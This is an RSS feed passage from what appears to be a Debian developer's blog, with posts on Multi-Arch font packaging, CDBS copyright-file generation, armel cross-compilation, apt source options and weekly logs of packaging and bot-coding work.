&lt;a href=&quot;http://debian-administration.org/users/dkg&quot;&gt;Daniel Kahn Gillmor&lt;/a&gt;
&lt;a href=&quot;http://lists.alioth.debian.org/pipermail/pkg-fonts-devel/2012-December/011392.html&quot;&gt;pointed&lt;/a&gt;
that we indeed need to mark all font packages as Multi-Arch
foreign. He proposed that we should write a lintian check for this
which I volunteered to do and then forgot!. Recently I was checking my
QA page and landed into Ubuntu's page of my package where I saw they
were patching imported font package and marking them as Multi-Arch:
foreign and I suddenly remembered my promise! and this patch was the
result of same enlightenment :-).&lt;/p&gt;

&lt;p&gt;Since there is huge number of font packages maintained by pkg-fonts
devel we targeted this for Jessie release.&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;Here by I request all font package maintainers to consider marking
their packages as Multi-Arch foreign. I also request people to join us
on pkg-fonts-devel and help us doing this for all font packages
maintained by the team, we really lack people in the team.&lt;/p&gt;&lt;/blockquote&gt;
</description>
<pubDate>Fri, 08 Mar 2013 07:14:50 -0800</pubDate>
<link>http://copyninja.info/2013/03/multi-arch_lintian_check_for_font_packages.html</link>
<guid isPermaLink="true">http://copyninja.info/2013/03/multi-arch_lintian_check_for_font_packages.html</guid>
</item>



<item>
<title>CDBS Packaging : copyright file support</title>
<description>&lt;p&gt;One of the thing CDBS provides is support for verifying / generating
&lt;em&gt;debian/copyright&lt;/em&gt; file. This feature will be help full if new files
show up in newer releases. It can also be helpful to generate the
first version of copyright file. But don't blindly follow this
feature, you need to cross verify the things it generates.&lt;/p&gt;

&lt;p&gt;To use this feature add the following line to your &lt;em&gt;debian/rules&lt;/em&gt; file
first&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;make&quot;&gt;&lt;span class=&quot;cp&quot;&gt;include /usr/share/cdbs/1/rules/utils.mk &lt;/span&gt;
 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Now create a file called &lt;em&gt;debian/copyright_hints&lt;/em&gt; using touch command&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;touch debian/copyright_hints
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now run the following command to allow CDBS to do its magic and
generate a new file called &lt;em&gt;debian/copyright_newhints&lt;/em&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;DEB_MAINTAINER_MODE=1 fakeroot debian/rules build
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;As you see we set the variable &lt;code&gt;DEB_MAINTAINER_MODE&lt;/code&gt; which means this
is feature to help the maintainer rather than targeted for automatic
builds. So if there is no new things added to the new release you
should see something like this in the build log.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Scanning upstream source for new/changed copyright notices...


licensecheck -c '.*' -r --copyright -i '^debian/(changelog|copyright(|_hints|_newhints))' -l '99999' * | /usr/lib/cdbs/licensecheck2dep5 &amp;gt; debian/co$
yright_newhints
19 combinations of copyright and licensing found.
No new copyright notices found - assuming no news is good news...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In case there are new files added you should get output similar to below&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Scanning upstream source for new/changed copyright notices...

licensecheck -c '.*' -r --copyright -i '^debian/(changelog|copyright(|_hints|_newhints))' -l '99999' * | /usr/lib/cdbs/licensecheck2dep5 &amp;gt; debian/co$
yright_newhints
0 combinations of copyright and licensing found.

Format: http://www.debian.org/doc/packaging-manuals/…
Upstream-Name: FIXME
Upstream-Contact: FIXME
Source: FIXME
Disclaimer: Autogenerated by CDBS

...

To fix the situation please do the following:
  1) Fully compare debian/copyright_hints with debian/copyright_newhints
  2) Update debian/copyright as needed
  3) Replace debian/copyright_hints with debian/copyright_newhints
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So as the last 3 points says you need to compare your
&lt;em&gt;copyright_hints&lt;/em&gt; and the newly generated file by CDBS
&lt;em&gt;copyright_newhints&lt;/em&gt; for difference and update the debian/copyright as
required and replace the existing &lt;em&gt;debian/copyright_hints&lt;/em&gt; with
&lt;em&gt;debian/copyright_newhints&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;Tips&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;This feature can be used to generate the copyright file for the
first time you need a copyright file with only debian/* copyright in
it.&lt;/li&gt;
&lt;li&gt;If you are using it to generate copyright file for the first time
be sure to cross verify the things mentioned in the file than just
blindly copy pasting.&lt;/li&gt;
&lt;li&gt;If there are binary files like images are involved in your project
be sure to clean up those from your copyright_hints before trying to
build the package. Because of too much of binary cruft in any files
means dpkg-source will be angry at you :-).&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;Last but not the least, I know CDBS provides some really cool features
which we will explore with next few posts but always keep in mind this
quote by Jonas. (Of course don't ask me to prove that Jonas did say it
as there is no pgp signature of him with quote to verify ;-) )&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;CDBS is tool to help packagers and does not involve any magic.&lt;/p&gt;&lt;/blockquote&gt;
</description>
<pubDate>Mon, 11 Feb 2013 01:57:49 -0800</pubDate>
<link>http://copyninja.info/2013/02/cdbs_packaging_%3A_copyright_file_support.html</link>
<guid isPermaLink="true">http://copyninja.info/2013/02/cdbs_packaging_%3A_copyright_file_support.html</guid>
</item>



<item>
<title>New Series of Posts on CDBS packaging</title>
<description>&lt;p&gt;Well this is just an introductory post to set of posts I'm going to
write down here on my blog. Idea is to improve the documentation of
CDBS but I still don't have any idea on how I can patch the existing
documentation, but in the mean time I'm learning new tricks from Jonas
which I want to document some where so I thought my blog would be a
good place as whole blog is in markdown format and its the same format
me and Jonas agreed to convert the existing CDBS documentation.&lt;/p&gt;

&lt;p&gt;So this blog will act as a documentation and these post will be then
altered modified and put back into a proper CDBS documentation later.&lt;/p&gt;

&lt;p&gt;&lt;strike&gt;
I know many people don't like CDBS and most of it because there is no
proper documentation, so I'm trying to improve the situation so sit
back and enjoy the upcoming posts :-).
&lt;/strike&gt;&lt;/p&gt;

&lt;p&gt;OK I was sloppy in giving theory on what others think about the CDBS
thanks to &lt;a href=&quot;http://www.hands.com/~phil/&quot;&gt;Phill Hands&lt;/a&gt; and Jonas for
enlightening me. So with these series I'm just trying to explain CDBS
features with real examples and examples how you can tame nasty
packaging beasts with CDBS easily.&lt;/p&gt;
</description>
<pubDate>Sun, 10 Feb 2013 23:47:31 -0800</pubDate>
<link>http://copyninja.info/2013/02/new_series_of_posts_on_cdbs_packaging.html</link>
<guid isPermaLink="true">http://copyninja.info/2013/02/new_series_of_posts_on_cdbs_packaging.html</guid>
</item>



<item>
<title>Multi-Arch based Cross-Compilation</title>
<description>&lt;h2&gt;Disclaimer:&lt;/h2&gt;

&lt;p&gt;I'm not cross-compile expert or have done cross-compilation before
this post is not comparison between normal cross compilation and
multi-arch based cross compilation, this post is purely about how I
achieved cross compilation using Multi-Arch feature introduced by
Debian.&lt;/p&gt;

&lt;h2&gt;Problem&lt;/h2&gt;

&lt;p&gt;Get a OS ready for the raspberry-pi computer I purchased recently. No
I don't want to use Raspbian even though it claims as Debian itself. I
want a clean armel based OS with only components what I require. This
is also sort of experiment to improve
&lt;a href=&quot;http://anonscm.debian.org/gitweb/?p=collab-maint/boxer.git;a=summary&quot;&gt;boxer&lt;/a&gt;
by adding rpi support to it. (Even though Jonas considers rpi as swamp ;-) )&lt;/p&gt;

&lt;p&gt;Components need to be compiled:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;u-boot&lt;/li&gt;
&lt;li&gt;Linux Kernel&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;Architecture: armel&lt;/p&gt;

&lt;h2&gt;Solution:&lt;/h2&gt;

&lt;p&gt;The first thing to do is to add the required foreign architecture in
my case &lt;em&gt;armel&lt;/em&gt;, this can be done using below command.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;dpkg --add-architecture armel
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then update package list with whatever package management utility, in
my case I used aptitude. But before doing that we need to add a
repository which provides us GCC cross compiler with gnueabi
support. Yes it is not yet in Debian main and with my discussion with
Jonas what I understood is since Wheezy is first of a kind with
multi-arch capability we can expect cross compiler tool only from
Jessie.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;deb http://emdebian.org/~thibg/repo/ sid main
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This repository is by emdebian contributor not completely sure about
his name but he hangs in #emdebian with nick ThibG. According to Jonas
repository is bit old but its working where as latest repository from
wookey is broken, though this was told a couple of week back and I
don't know about current status.&lt;/p&gt;

&lt;p&gt;Now run &lt;em&gt;aptitude update&lt;/em&gt; to get package list refreshed after adding
the new repo. Once done we need to install &lt;em&gt;gcc-4.7-arm-linux-gnueabi&lt;/em&gt;
, run the following command and I suggest you use aptitude because it
will help you resolve dependency mess easily. When dependency
suggestion is given for first time try pressing &lt;em&gt;e&lt;/em&gt; to enter full
screen aptitude and navigate through the solution provided using &lt;em&gt;.&lt;/em&gt;
and &lt;em&gt;,&lt;/em&gt; and select appropriate solution using &lt;em&gt;!&lt;/em&gt;. Then press &lt;em&gt;g&lt;/em&gt; to
install the package.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;aptitude install gcc-4.7-arm-linux-gnueabi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This scenario showed me real power of the aptitude which till then I
was thinking as nutcase :-).&lt;/p&gt;

&lt;p&gt;The above package installs all the cross compilation tools required
beginning with prefix &lt;em&gt;arm-linux-gnueabi-&lt;/em&gt; but it doesn't create a
required symlink /usr/bin/arm-linux-gnueabi-gcc pointing to
/usr/bin/arm-linux-gnueabi-gcc-4.7 which is required by all tools for
cross compiling, add an alternative using following commands to fix
the issue in the package tools&lt;strike&gt; just create this symlink
manually&lt;/strike&gt; and you should have GNU cross compiler ready on your
system for [armel](http://wiki.debian.org/ArmEabiPort architecture.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thanks to &lt;a href=&quot;http://emdebian.org/~zumbi&quot;&gt;zumbi&lt;/a&gt; for pointing out the write way to fix the package&lt;/em&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo update-alternatives --install /usr/bin/arm-linux-gnueabi-gcc arm-linux-gnueabi-gcc /usr/bin/arm-linux-gnueabi-gcc-4.7 46 
           --slave /usr/bin/arm-linux-gnueabi-g++ arm-linux-gnueabi-g++ /usr/bin/arm-linux-gnueabi-g++-4.7 
           --slave /usr/bin/arm-linux-gnueabi-gcov arm-linux-gnueabi-gcov /usr/bin/arm-linux-gnueabi-gcov-4.7
           --slave /usr/bin/arm-linux-gnueabi-gfortran arm-linux-gnueabi-gfortran /usr/bin/arm-linux-gnueabi-gfortran-4.7
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now to cross compile all you need to do is&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;export CROSS_COMPILE=arm-linux-gnueabi-
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Once this package lands to Debian main, cross compiling will be way
more easier.&lt;/p&gt;
</description>
<pubDate>Sat, 26 Jan 2013 07:37:26 -0800</pubDate>
<link>http://copyninja.info/2013/01/multi-arch_based_cross-compilation.html</link>
<guid isPermaLink="true">http://copyninja.info/2013/01/multi-arch_based_cross-compilation.html</guid>
</item>



<item>
<title>Note to Self: Telling apt to download specific architecture information only</title>
<description>&lt;p&gt;If you have enabled multi-arch enabled in your system and one of the
third party repository you use in /etc/apt/sources.list is not
providing the foreign arch you have selected then fear not just do the
below for that particular repository line.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;deb [arch=arch1] uri distribution component
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In my case mozilla.debian.net doesn't provide binary-armel hence I just did this&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;deb [arch=amd64] http://localhost:9999/mdn experimental iceweasel-aurora
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;and apt stopped complaining about missing foreign arch. Well this is
present in man page of sources.list but I just wrote here so I can
find it easily next time :-).&lt;/p&gt;
</description>
<pubDate>Thu, 27 Dec 2012 07:02:17 -0800</pubDate>
<link>http://copyninja.info/2012/12/note_to_self%3A_telling_apt_to_download_specific_architecture_package.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/12/note_to_self%3A_telling_apt_to_download_specific_architecture_package.html</guid>
</item>



<item>
<title>Weekly Log - 17/23 - 112012</title>
<description>&lt;p&gt;The last week was quite productive as I was on vacation and at home town but sadly I
couldn't complete this post so again merging the work with this week but this week ain't
much productive as I was tired from journey back and didn't get enough time to recover.
So here it goes.&lt;/p&gt;

&lt;h2&gt;Debian Related&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;I did a little more fine tuning of friendica package to enable http://localhost/friendica
on installation and shipped virtual host configuration for Apache and Nginx which user
can simply copy to setup a proper friendica instance. I'm not sure if this is right to do
or not but Drupal package does this but only it doesn't enable it during installation and
leaves it up to user to create required symlink to enable http://localhost/drupal7. Well this
is my first time in packaging webapp so I'm all open for suggestions&lt;/li&gt;
&lt;li&gt;Helped Tobias Diekershoff prepare and upload the friendica package to mentors and file RFS bug.
We got bug number &lt;a href=&quot;http://bugs.debian.org/693504&quot;&gt;#693504&lt;/a&gt; and now we are looking for sponsors,
if you are a DD reading this post and interested in federated social networking and can sponsor
us it would be great :-)&lt;/li&gt;
&lt;li&gt;Started learning CDBS and converted the Kiwix package to CDBS. I'm glad that Jonas is helping me
out when I'm struck some where. Also kiwix is now updated to latest version 0.9~rc2 and I need
to do some more fine tuning before asking for upload from Jonas.&lt;/li&gt;
&lt;li&gt;I started helping Jonas to put up CDBS documentation. He suggested me to take over the documentation
from duckcorp and then merge other documentation in CDBS git tree. As of now I only managed to
separate out the chapters from docbook to markdown format. The conversion was done using &lt;em&gt;pandoc&lt;/em&gt;
but code formatting in docbook was not proper I guess so after conversion it needed some manual
intervention in fixing and formatting code blocks. The repository for CDBS doc is &lt;a href=&quot;http://anonscm.debian.org/gitweb/?p=collab-maint/cdbs-doc.git;a=summary&quot;&gt;here&lt;/a&gt;
and as of now doesn't contain any new things.&lt;/li&gt;
&lt;li&gt;Converted one more of my font package fonts-gubbi to CDBS format but I'm now facing a issue that
CDBS is including docs inside the generated udeb which is not right, I already posted the question
on how to handle this to &lt;em&gt;build-common-hackers&lt;/em&gt; and waiting for Jonas to reply back.&lt;/li&gt;
&lt;li&gt;I claimed the ITP &lt;a href=&quot;http://bugs.debian.org/651600&quot;&gt;#651600&lt;/a&gt; on Roboto fonts from Android OS. After
a short discussion with Fabian on pkg-fonts-devel I agreed to merge it with existing &lt;em&gt;fonts-droid&lt;/em&gt; and
renamed the source package to &lt;em&gt;fonts-android&lt;/em&gt; which now builds &lt;em&gt;fonts-droid&lt;/em&gt; and &lt;em&gt;fonts-roboto&lt;/em&gt;. Package
is ready but I'm still seeing if I can fix any bugs on &lt;em&gt;fonts-droid&lt;/em&gt; before asking for a upload.&lt;/li&gt;
&lt;li&gt;Wrote a simple script which was derived from droid fonts package from Fedora to get the android fonts
from the upstream repository automatically. Enabled this in get-orig-source target for fonts-android.
Since cloning a more than 600M repository is PITA I have a local copy of fonts-android and use it to
create new release of fonts-android. Additionally I should say script is not well tested ;-)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;suckless-tools&lt;/em&gt; has entered into Debian Experimental thanks to Jakub Wilk for a very nice review of
the package which went in a long thread of more than 50 mails in debian-mentors. The package itself
closed a shit load of bugs, but after upload I noticed there are still some pending bugs which I missed
from adding to changelog. So I closed &lt;strike&gt;&lt;a href=&quot;http://bugs.debian.org/606148&quot;&gt;#606148&lt;/a&gt;&lt;/strike&gt; and
&lt;strike&gt;&lt;a href=&quot;http://bugs.debian.org/689199&quot;&gt;#689199&lt;/a&gt;&lt;/strike&gt;. Still there are 2 more bugs which seems
like fixed in newer version but I need to confirm before closing them, thus making suckless-tools
a bug free package.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Upstream Related&lt;/h2&gt;

&lt;p&gt;I raised a pull request &lt;a href=&quot;https://github.com/aravindavk/Gubbi/pull/8&quot;&gt;#8&lt;/a&gt; on Gubbi fixing the Makefile
to more organized and introducing xz compression in it. Additionally I removed distribution specific
stuffs from Makefile and made it generic.&lt;/p&gt;

&lt;p&gt;That's all for the two weeks. This week there will be &lt;a href=&quot;http://foss.in&quot;&gt;foss.in&lt;/a&gt; and we will be having
some Debian specific mini conference, including some Debian basics to newbies and some bug squashing
if any :-). So more to report next week, till then Cya.&lt;/p&gt;
</description>
<pubDate>Mon, 19 Nov 2012 07:07:30 -0800</pubDate>
<link>http://copyninja.info/2012/11/weekly_log_-_17112012.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/11/weekly_log_-_17112012.html</guid>
</item>



<item>
<title>Weekly Log - 27/3 - 112012</title>
<description>&lt;p&gt;OK I became again lazy to log my works and combined 2 weeks again :-).
Most of my work is for Debian for this 2 weeks.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;More reviews from Jakub on suckless-tools and more fixing :-). This time Jakub
identified that ssid is not at all different the setsid from utils-linux package
which resulted in me writing to Anselm Garbe of suckless project, who told that
first reason for writing ssid was setsid code during that time[1] which really does
suck. He agreed to obsolete the ssid project after some clarifications.&lt;/li&gt;
&lt;li&gt;After mail to Conor Lane Smith upstream author of sprop and then writing to Anselm,
sprop now has finally is placed under dl.suckless.org/tools which means I don't need
to refer to Mercurial tip anymore.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;fonts-deva-extra&lt;/em&gt; is no more containing the &lt;em&gt;Gargi&lt;/em&gt; and &lt;em&gt;Sarai&lt;/em&gt; fonts as both fonts
have got upstream and now will be part of &lt;em&gt;fonts-gargi&lt;/em&gt; and &lt;em&gt;fonts-sarai&lt;/em&gt;. I'm now
reviewing fonts-gargi which is being packaged by  Jishnu. To be frank I'm loving the
review process ;-).&lt;/li&gt;
&lt;li&gt;After a while I again worked on friendica package for Debian and after fixing a stupid
mistake by me I released a version of package for testing as I run my friendica on my
laptop itself. I did try piuparts for testing but couldn't get it working. After testing
I got positive feedback from the fellow friendicans [2][3]. Note that [2] will be available
only if my laptop is online :-). Now I need to try and automate installation of webserver
confs I know might not be good idea but my idea is making friendica installation on Freedombox
without any hassle. Of course suggestions are welcome :-) package source is at [4]&lt;/li&gt;
&lt;li&gt;I got a grave bug filed on suckless-tools &lt;a href=&quot;http://bugs.debian.org/692737&quot;&gt;#692737&lt;/a&gt; which
of course can't be taken as security hole directly in fact it was a feature of slock which
later got  modified later by user patches. After talking with person who filed bug who actually
said he is not interested in getting it for Wheezy I reduced severity to important. To be
frank this feature is part of 39 version of suckless-tools but change is too much to include
it in Wheezy and I was not interested in making another version of suckless-tools I already
made 38-2 for wheezy fixing important bug, filed by Jakub.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;This week was bit hectic I couldn't dedicate much time for any programming. This week I'm on vacation
and will get more time to work on FLOSS and other coding stuffs. Only that I'm on slow network
connection :-). Ok cya next week (hopefully)&lt;/p&gt;

&lt;p&gt;PS: My last weekly log never showed up in planet.d.o not sure what happened may be because I
played with feed generating jekyll scripts. Hope this will show up in planet.d.o&lt;/p&gt;

&lt;p&gt;[1] http://code.metager.de/source/xref/linux/utils/util-linux/sys-utils/setsid.c &lt;br/&gt;
[2] http://vasudev.homelinux.net/display/copyninja/34241 &lt;br/&gt;
[3] https://kakste.com/display/beardyunixer/974150 &lt;br/&gt;
[4] anonscm.debian.org/gitweb/?p=collab-maint/friendica.git;a=summary &lt;br/&gt;&lt;/p&gt;
</description>
<pubDate>Sun, 11 Nov 2012 00:04:52 -0800</pubDate>
<link>http://copyninja.info/2012/11/weekly_log_-_20121110.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/11/weekly_log_-_20121110.html</guid>
</item>



<item>
<title>Weekly Log - 20/27-102012</title>
<description>&lt;p&gt;This week decided to write the log from the beginning of the week itself as
I don't want to miss any tasks done. So here comes the list. Also I merged 2 weeks
log together not because I didn't do much but recently I was being bit lazy :-P&lt;/p&gt;

&lt;h2&gt;Debian Related&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Some more fixes done to suckless-tools 38 version as per comments
from Jakub Wilk&lt;/li&gt;
&lt;li&gt;After some poking from Intrigeri (my AM) I finally placed the new
38-2 related stuffs in Wheezy branch of suckless-tools.git which
I originally prepared for 39 version&lt;/li&gt;
&lt;li&gt;After few minor fixes Jakub Wilk has uploaded 38-2 and thus I kill
one more RC bug for wheeze &lt;a href=&quot;http://bugs.debian.org/685611&quot;&gt;&lt;strike&gt;#685611&lt;/strike&gt;&lt;/a&gt;. Well my AM has given me clue that
more RC bugs might be coming my way as part of NM process and I'm waiting :-)&lt;/li&gt;
&lt;li&gt;More clarifications on my answers on Philosophy and Procedures - 1
were sent back and I need to give some more again ;-). Will do that probably
on Sunday&lt;/li&gt;
&lt;li&gt;Fixed issues in installing fontconfig files in font packages &lt;em&gt;fonts-beng-extra&lt;/em&gt;
and &lt;em&gt;fonts-smc&lt;/em&gt; no bugs were filed though. fonts-smc can't be uploaded to unstable
for sure as it contains a udeb (fonts-mlym-udeb). Kartik told he will discuss
with release-team about fonts-beng-extra but I guess he forgot ;-).&lt;/li&gt;
&lt;li&gt;Helped new guys to learn Debian packaging on #debian-diaspora, initiative started by
Praveen Arimbrathodiyil who actually taught me the packaging. Idea is to package Diaspora.
Even though I'm not much interested in Diaspora I'm helping there as Praveen is my good
friend and mentor and in a way I want to increase contributors to Debian.&lt;/li&gt;
&lt;li&gt;Started working on suckless-tools 39 fixed few minor issues now seeing a hardening issue
which I need to fix before each can be safely uploaded to experimental.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Python Based&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Fixed the Unicode comparison issue in the charmap.py from the soundex Python
module. Basically when both side of &lt;em&gt;==&lt;/em&gt; operator are not of Unicode type the
Python considers them to be unequal even if they are equal. Well this is the
encoding pain in Python versions less than 3. Now this is handled in 0.3 version
of soundex.&lt;/li&gt;
&lt;li&gt;Spellchecker module is now having Marathi language support but it doesn't seems
to be working fine so 0.3 version is not yet completely done.&lt;/li&gt;
&lt;li&gt;Guess Language module from SILPA is now separate module and is uploaded to pypi,
though its integration with SILPA rewritten in Flask is pending.&lt;/li&gt;
&lt;li&gt;Replaced the pyxmpp2 module used in the dictionary bot to sleekxmpp as it already
supports XEP's which I plan to use in the bot&lt;/li&gt;
&lt;li&gt;Fine tuned  the parsing and returning logic of dictionary-bot and integrated language
guessing support.&lt;/li&gt;
&lt;li&gt;Inspired by Jonas's coding on smsg I also modified the code so that if needed it
can be easily packaged and also can be tested without need to actually installing it.&lt;/li&gt;
&lt;li&gt;Added logging functionality to the dictionary bot but yet to log actual data from the
bot so that can be analysed later&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Few more details on dictionary-bot needs to be sorted out to make it production ready
and I'm not getting enough time to do so. May be I should write down TODO's some where
so I won't loose track of it.&lt;/p&gt;

&lt;h2&gt;Perl Based&lt;/h2&gt;

&lt;p&gt;Not much tasks were done on Perl but I managed to help Jonas to sort out an important issue
which was a show stopper for using smsg in the performance he is attending in Zurich. Below
are tasks done&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Moved the Jabber.pm code which was using &lt;em&gt;AnyEvent::XMPP::Client&lt;/em&gt; to Client.pm which inherits
from Jabber.pm, basically idea is create one ore class Connection which uses &lt;em&gt;AnyEvent::XMPP::Connection&lt;/em&gt;
which can be used to connect send message and disconnect. Did you see &lt;em&gt;inherit&lt;/em&gt; don't be surprised
thanks to Jonas I had to learn bit about Moo :-)&lt;/li&gt;
&lt;li&gt;Slightly modified HttpSend.pm command to send the message to Jabber chat room, this was the
show stopper for smsg. And after this fix Jonas happily used it in his theatre performance in
Zurich.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Wildfire Liberation&lt;/h2&gt;

&lt;p&gt;I struggled almost 3 days to get my HTC Wildfire liberated from HTC stock OS. I got to know about
&lt;a href=&quot;http://htcdev.com&quot;&gt;HTC Developers Site&lt;/a&gt; with which HTC officially allows the unlocking the bootloader.
After unlocking I was not sure on how to get ClockworkMod Recovery in my device and get root the
tools mentioned in different places, &lt;em&gt;revolutionary&lt;/em&gt; and &lt;em&gt;unrevoked&lt;/em&gt; were not happy with my new
HBOOT version 1.02.0000 after struggling a bit I managed to manually download the ClockworkMod
for Wildfire from this &lt;a href=&quot;http://downloads.unrevoked.com/recoveries/cwm-4.0.1.4-buzz.img&quot;&gt;site&lt;/a&gt; but then
again I was afraid of bricking my phone. But thanks to &lt;a href=&quot;https://twitter.com/jishnu7&quot;&gt;Jishnu's&lt;/a&gt; timely advice I managed to flash
my device and install CM7. Now I enjoy my 2 year old Wildfire!&lt;/p&gt;

&lt;p&gt;For those who want to flash their Wildfire with HBOOT version 1.02.0000 please follow the &lt;strong&gt;Method via HTC website&lt;/strong&gt; section
&lt;a href=&quot;http://wiki.cyanogenmod.com/wiki/HTC_Wildfire:_Full_Update_Guide&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Misc&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Met Kartik on 20th wanted to have a mini BSP but we got lost in talking as we met after one year&lt;/li&gt;
&lt;li&gt;Watched few bunch of movie. This week was bit short as in between the week 3 holidays came due
to festivals.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Well that is it for the 2 weeks hopefully I will see ya on next week :-) or next to next if I merge
my weekly logs again ;-). Till then Cya.&lt;/p&gt;
</description>
<pubDate>Sun, 14 Oct 2012 10:31:58 -0700</pubDate>
<link>http://copyninja.info/2012/10/weekly_log_-_20102012.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/10/weekly_log_-_20102012.html</guid>
</item>



<item>
<title>Weekly Log - 06/13-102012</title>
<description>&lt;h2&gt;Update for 06/10/2012&lt;/h2&gt;

&lt;p&gt;Well I had not written the weekly work log for the last week that
is because the week was short (oh yeah thanks to all these bandhs
our week got fluctuated and to be frank the week was only 4 days
long) and second was my lazyness. Here goes the update
 * After a long discussion with &lt;a href=&quot;http://aravindavk.in&quot;&gt;Aravinda&lt;/a&gt; on
   &quot;why productivity is reducing these days.&quot; We concluded the social
   network is eating up most of time. So decision was made and I closed
   all pinned tabs for Twitter Gmail Identi.ca and Friendica on my browser
 * After the above resolution I finished almost 4 chapters of &lt;em&gt;Moder Perl&lt;/em&gt;
   within 2 hours!. Indeed Social networks kill the productivity.&lt;/p&gt;

&lt;h2&gt;Update for 13/10/2012&lt;/h2&gt;

&lt;p&gt;I've really fallen in love with computerised bots, thanks to the wonderful
KGB bot :-). So majority of my work on this week is on bots.&lt;/p&gt;

&lt;h4&gt;Jabber Dictionary Redesign&lt;/h4&gt;

&lt;p&gt;After thinking for a while I decided to re-write the &lt;a href=&quot;http://copyninja.info/2010/11/a-jabber-dictionary-bot-for-kannada.html&quot;&gt;dictionary bot&lt;/a&gt;
which when release got an overwhelming response as see in the comments of
above link. Few reason for re-write&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generalise the bot framework so single bot can handle multiple languages&lt;/li&gt;
&lt;li&gt;Improve the data collection on bot side&lt;/li&gt;
&lt;li&gt;Current code base was not very well organised and trying to add more feature it had become messy.&lt;/li&gt;
&lt;li&gt;Provide XEP support to help in data collections&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;Few changes which are already implemented include&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;New code is now using &lt;em&gt;pyxmpp2&lt;/em&gt; library instead of GPLed &lt;em&gt;xmppy&lt;/em&gt; used by current
code.&lt;/li&gt;
&lt;li&gt;Implemented XEP-0071 extension to properly format the meaning display by the bot&lt;/li&gt;
&lt;li&gt;Current implementation was displaying all words in one set without distinguishing
between adjectives,verbs proverbs etc. even though wiktionary displays meaning based
on this. New implementation gives out meaning in same format as it is displayed on
wiktionary.&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;Things remaining todo&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Separating wiktionary parsing logic from bot code by providing some sort of intermediate
interface between bot and wiktionary parsers.&lt;/li&gt;
&lt;li&gt;Adding more language wiktionary parsers and teaching the bot to become multilingual :-)&lt;/li&gt;
&lt;li&gt;Integrating XEP-0004 (Data Forms) for taking the meaning input from user. Current code
requires user to enter data in particular format&lt;/li&gt;
&lt;/ol&gt;


&lt;h4&gt;suckless-tools fix for Wheezy&lt;/h4&gt;

&lt;p&gt;&lt;em&gt;Jakub Wilk&lt;/em&gt; suggested me to prepare a minimal version of suckless-tools for Wheezy which includes
a patch to the bug &lt;a href=&quot;http://bugs.debian.org/685611&quot;&gt;#685611&lt;/a&gt;. And few minor changes which involve
taking over the package and fixes in copyright file other than above mentioned bug. Hopefully
release-team will be okay with these changes. I'm waiting for the upload to file an unblock-request.&lt;/p&gt;

&lt;p&gt;I did face a problem I was halfway through wit suckless-tools_39-1 when Jakub asked me about this
change and current repository was fresh one prepared for 39-1 and didn't have history for 38 version.
First I thought of preparing separate repository for 38 version which was not an correct option,
but I even couldn't play with current repository. So finally I renamed current version of repository
to suckless-tools-39.git on collab-maint and prepared fresh repository suckless-tools.git basing
it on 38-1 version.&lt;/p&gt;

&lt;p&gt;From 39 version suckless-tools will be following 3.0 (quilt) source format and will not be working
with git-buildpackage as the tool can't handle multi-tarball packages. Yes every tool involved in
the package will have separate tarball from 39.&lt;/p&gt;

&lt;h4&gt;More work on Bots&lt;/h4&gt;

&lt;p&gt;Well today I again worked on Jabber bot, but not the dictionary bot. This time its an SMS Gateway
bot for &lt;em&gt;Jonas Smedegard&lt;/em&gt; and the coding was done in Perl. Thanks to jonas I finally could apply
